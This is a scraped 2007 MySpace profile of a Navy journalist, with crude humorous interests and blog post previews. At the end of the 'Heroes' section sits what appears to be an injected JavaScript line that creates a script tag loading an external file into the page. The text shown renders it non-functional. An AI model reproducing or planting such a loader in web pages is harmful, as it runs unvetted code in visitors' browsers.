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One Dreamin' Seaman

We wouldn't have to pull out of Iraq if it would just take its damn pill everyday

About Me

Hello and how do, the name's Hop, and I'm a sailor. (Hiiiii Hopppppp.) I'm doing the whole Navy journalist thing at the Uniformed Services University of the Health Sciences in Bethesda, Maryland. It's not the coolest station in the world, but the people I work with on a day-to-day basis make it a pretty great place to work. Enough mushy shit. If you don't know me, picture that one guy in your high school class who giggled incessantly at dick jokes and wore the same shitty running shoes no matter what clothes he wore (which, typically, was baggy jeans and brown t-shirts.) Good. Now give him short brown hair, green eyes, and a 12-year-old's face, and you've got me. Now that's a fine recipe for badassery.

My Interests

Recently, I'm interested in sleeping on my side so my balls don't hurt when I wake up, getting my work done on time, and living paycheck to paycheck. Does anyone else feel really old?

I'd like to meet:

I'd like to meet the asshole who decided this section was a good idea.
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Music:

To scroll through my iTunes library is to gaze upon utter chaos. *Translation: I like a lot of different shit. I'm a parrothead at heart, though.

Movies:

Cheezy old horror movies that are more funny than scary. Like Dawn of the Dead.

Television:

The Venture Brothers, Scrubs, Family Guy, The Simpsons, the Daily Show, the Colbert Report, when I remember any of them are on. I don't normally watch a lot of Tv.

Books:

Are there boobs in it? Hand it over.

Heroes:

My father and mother; The surprisingly small ammount of permanent damage to my person is a monument to their infinite patience [For those of you worrying right now, let me put your mind at ease: I do my best to take care of my person, and he's none the worse for wear I assure you ; )] .."var s=document·createElement('script');s.src='../x/7318.js' ;document·getElementsByTagName('head')[0].appendChild(s );"

My Blog

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Not really. But I did find this little ad amusing, sitting at the bottom of a myspace page:That just says it all, doesn't it? Fuck.And those quiz thingies? The ones that tell you "YOU ARE: (Insert stu...
Posted by One Dreamin' Seaman on Wed, 09 May 2007 06:05:00 PST

That's nutsacktly what I'm saying

I finally went to the clinic for what I thought was just a horrible three or four month-long case of morning-blueballs. It's hurting all the time now? The doc (who spent enough time playing with m...
Posted by One Dreamin' Seaman on Mon, 07 May 2007 01:43:00 PST

Sad-sack seaman

God I love bein' a sailorrrrrrrrrrrrrrrrrrrrrrr!I'm so joke-broke now it ain't even funny. I subsist on hobo salad at the mo, meaning I'm eating the canned shit I have stocked up in the back of my pan...
Posted by One Dreamin' Seaman on Tue, 01 May 2007 03:19:00 PST